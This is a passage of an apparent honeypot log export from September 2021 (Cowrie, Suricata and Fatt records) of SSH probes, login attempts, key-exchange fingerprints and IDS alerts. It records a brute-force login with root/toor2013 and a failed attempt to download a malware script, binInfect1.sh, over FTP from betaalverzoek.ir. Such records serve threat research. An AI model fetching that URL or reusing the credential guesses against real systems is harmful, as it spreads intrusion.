"t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
29476	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:26:43.621346+03	2021-09-20 14:30:04.176525+03	{"_id": "9Ab1AnwBvYTbRNuEUjUp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "4b31f060c87d", "@version": "1", "timestamp": "2021-09-20T11:26:43.621346Z", "@timestamp": "2021-09-20T11:26:43.621Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
29477	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:26:43.32383+03	2021-09-20 14:30:04.177523+03	{"_id": "AAb1AnwBvYTbRNuEUjYr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 91.200.124.7:45210 (192.168.176.2:22) [session: 5d4b04b07df2]", "session": "5d4b04b07df2", "@version": "1", "protocol": "ssh", "src_port": 45210, "dest_port": 22, "timestamp": "2021-09-20T11:26:43.323830Z", "@timestamp": "2021-09-20T11:26:43.323Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
29478	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:26:43.331256+03	2021-09-20 14:30:04.178523+03	{"_id": "9wb1AnwBvYTbRNuEUjUr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 1.117.219.217:45488 (192.168.176.2:22) [session: 56f4f6e3ccfd]", "session": "56f4f6e3ccfd", "@version": "1", "protocol": "ssh", "src_port": 45488, "dest_port": 22, "timestamp": "2021-09-20T11:26:43.331256Z", "@timestamp": "2021-09-20T11:26:43.331Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
29479	109.104.151.106	109.199.241.180	Cowrie	2021-09-20 14:26:43.306522+03	2021-09-20 14:30:04.179524+03	{"_id": "AQb1AnwBvYTbRNuEUjYr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 1865, "type": "Cowrie", "geoip": {"ip": "109.104.151.106", "asn": 48265, "as_org": "ITirana Sh.p.k.", "latitude": 41.0, "location": {"lat": 41.0, "lon": 20.0}, "timezone": "Europe/Tirane", "longitude": 20.0, "country_name": "Albania", "country_code2": "AL", "country_code3": "AL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "4eaac35de52a2de9a6e37b6da3bb34b1c16bd5928ca49c4771604d83cea2daed", "src_ip": "109.104.151.106", "ttylog": "log/tty/4eaac35de52a2de9a6e37b6da3bb34b1c16bd5928ca49c4771604d83cea2daed", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/4eaac35de52a2de9a6e37b6da3bb34b1c16bd5928ca49c4771604d83cea2daed after 53 seconds", "session": "90b855a8ccd2", "@version": "1", "duration": 53.87619113922119, "duplicate": true, "timestamp": "2021-09-20T11:26:43.306522Z", "@timestamp": "2021-09-20T11:26:43.306Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
29480	109.104.151.106	109.199.241.180	Cowrie	2021-09-20 14:26:43.29636+03	2021-09-20 14:30:04.180524+03	{"_id": "-Qb1AnwBvYTbRNuEUjUr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"url": "ftp://anonymous:anonymous@betaalverzoek.ir/binInfect1.sh", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "109.104.151.106", "asn": 48265, "as_org": "ITirana Sh.p.k.", "latitude": 41.0, "location": {"lat": 41.0, "lon": 20.0}, "timezone": "Europe/Tirane", "longitude": 20.0, "country_name": "Albania", "country_code2": "AL", "country_code3": "AL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "109.104.151.106", "eventid": "cowrie.session.file_download.failed", "message": "Attempt to download file(s) from URL (ftp://anonymous:anonymous@betaalverzoek.ir/binInfect1.sh) failed", "session": "90b855a8ccd2", "@version": "1", "timestamp": "2021-09-20T11:26:43.296360Z", "@timestamp": "2021-09-20T11:26:43.296Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.file_download.failed	\N	known attacker	\N
29481	1.117.166.242	109.199.241.180	Cowrie	2021-09-20 14:26:43.335093+03	2021-09-20 14:30:04.181523+03	{"_id": "Awb1AnwBvYTbRNuEUjYr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.166.242", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.166.242", "eventid": "cowrie.session.closed", "message": "Connection lost after 0 seconds", "session": "ea687306a4ca", "@version": "1", "duration": 0.02002429962158203, "timestamp": "2021-09-20T11:26:43.335093Z", "@timestamp": "2021-09-20T11:26:43.335Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
29482	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:26:43.338445+03	2021-09-20 14:30:04.183523+03	{"_id": "-wb1AnwBvYTbRNuEUjUr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "5d4b04b07df2", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:26:43.338445Z", "@timestamp": "2021-09-20T11:26:43.338Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
29483	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:26:43.341725+03	2021-09-20 14:30:04.184525+03	{"_id": "Bgb1AnwBvYTbRNuEUjYr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.session.closed", "message": "Connection lost after 0 seconds", "session": "5755de78e37a", "@version": "1", "duration": 0.02278590202331543, "timestamp": "2021-09-20T11:26:43.341725Z", "@timestamp": "2021-09-20T11:26:43.341Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
29484	8.37.43.231	109.199.241.180	Cowrie	2021-09-20 14:26:43.636113+03	2021-09-20 14:30:04.185525+03	{"_id": "_Qb1AnwBvYTbRNuEUjUr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "3des-ctr"], "geoip": {"ip": "8.37.43.231", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 35.6882, "location": {"lat": 35.6882, "lon": 139.7532}, "timezone": "Asia/Tokyo", "city_name": "Tokyo", "longitude": 139.7532, "postal_code": "102-0082", "region_code": "13", "region_name": "Tokyo", "country_name": "Japan", "country_code2": "JP", "country_code3": "JP", "continent_code": "AS"}, "hassh": "63bec3855e65ea71385ce2634bf2f234", "macCS": ["hmac-sha2-256", "hmac-sha1"], "compCS": ["none", "zlib"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "8.37.43.231", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-1.3.132.0.10", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "diffie-hellman-group16-sha512", "diffie-hellman-group15-sha512", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "ext-info-c"], "keyAlgs": ["rsa-sha2-512", "rsa-sha2-256", "ssh-ed25519", "ecdsa-sha2-1.3.132.0.10", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: 63bec3855e65ea71385ce2634bf2f234", "session": "9a97a52c62f1", "@version": "1", "timestamp": "2021-09-20T11:26:43.636113Z", "@timestamp": "2021-09-20T11:26:43.636Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-1.3.132.0.10,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,diffie-hellman-group16-sha512,diffie-hellman-group15-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-ctr;hmac-sha2-256,hmac-sha1;none,zlib"}}	1	\N	cowrie.client.kex	\N	\N	\N
29485	223.241.247.214	109.199.241.180	Suricata	2021-09-20 14:26:43.620674+03	2021-09-20 14:30:04.187523+03	{"_id": "Cwb1AnwBvYTbRNuEUzbh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "223.241.247.214", "dest_ip": "192.168.20.116", "flow_id": 922326777499443, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 53364, "dest_port": 22, "timestamp": "2021-09-20T11:26:43.620674Z", "@timestamp": "2021-09-20T11:26:43.620Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
29486	159.89.194.160	109.199.241.180	Suricata	2021-09-20 14:26:43.928886+03	2021-09-20 14:30:04.188524+03	{"_id": "DAb1AnwBvYTbRNuEUzbh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "159.89.194.160", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "159.89.194.160", "dest_ip": "192.168.20.116", "flow_id": 1364626804818459, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 43864, "dest_port": 22, "timestamp": "2021-09-20T11:26:43.928886Z", "@timestamp": "2021-09-20T11:26:43.928Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
29487	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:26:44.682245+03	2021-09-20 14:30:04.189524+03	{"_id": "Egb1AnwBvYTbRNuEVjYS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.login.failed", "message": "login attempt [root/toor2013] failed", "session": "56f4f6e3ccfd", "@version": "1", "password": "toor2013", "username": "root", "timestamp": "2021-09-20T11:26:44.682245Z", "@timestamp": "2021-09-20T11:26:44.682Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
29489	91.200.124.7	109.199.241.180	Suricata	2021-09-20 14:26:43.37696+03	2021-09-20 14:30:04.191524+03	{"_id": "3Ab1AnwBvYTbRNuETzX5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {}}, "flow": {"start": "2021-09-20T11:26:20.098374+0000", "pkts_toclient": 5, "pkts_toserver": 5, "bytes_toclient": 953, "bytes_toserver": 354}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "91.200.124.7", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1040365362380870, "payload": "", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 45210, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:26:43.376960Z", "@timestamp": "2021-09-20T11:26:43.376Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	known attacker	\N
29490	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:26:42.929602+03	2021-09-20 14:30:04.193524+03	{"_id": "1wb1AnwBvYTbRNuETzX5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 59890, "type": "query", "tx_id": 0, "rrname": "betaalverzoek.ir", "rrtype": "AAAA"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 435395597840194, "@version": "1", "in_iface": "enp5s0", "src_port": 38241, "dest_port": 53, "timestamp": "2021-09-20T11:26:42.929602Z", "@timestamp": "2021-09-20T11:26:42.929Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
29491	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:26:42.931625+03	2021-09-20 14:30:04.194523+03	{"_id": "2Qb1AnwBvYTbRNuETzX5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 59282, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "betaalverzoek.ir", "rrtype": "A", "answers": [{"ttl": 550, "rdata": "109.104.151.11", "rrname": "betaalverzoek.ir", "rrtype": "A"}], "grouped": {"A": ["109.104.151.11"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 1467708167302966, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 47365, "timestamp": "2021-09-20T11:26:42.931625Z", "@timestamp": "2021-09-20T11:26:42.931Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
29492	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:26:43.339475+03	2021-09-20 14:30:04.195524+03	{"_id": "3gb1AnwBvYTbRNuEUTUg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "91.200.124.7", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 45210, "timestamp": "2021-09-20T11:26:43.339475", "@timestamp": "2021-09-20T11:26:43.339Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
29498	159.89.194.160	109.199.241.180	Cowrie	2021-09-20 14:26:45.924731+03	2021-09-20 14:30:04.202524+03	{"_id": "Fwb1AnwBvYTbRNuEWTb7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.89.194.160", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.89.194.160", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "d6d924c2f7ec", "@version": "1", "duration": 2.1722412109375, "timestamp": "2021-09-20T11:26:45.924731Z", "@timestamp": "2021-09-20T11:26:45.924Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
29493	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:26:43.754749+03	2021-09-20 14:30:04.196524+03	{"_id": "4Ab1AnwBvYTbRNuEUTUh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "159.89.194.160", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 43864, "timestamp": "2021-09-20T11:26:43.754749", "@timestamp": "2021-09-20T11:26:43.754Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
29494	1.117.219.217	109.199.241.180	Fatt	2021-09-20 14:26:43.598872+03	2021-09-20 14:30:04.197523+03	{"_id": "5gb1AnwBvYTbRNuEUTUi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "1.117.219.217", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": 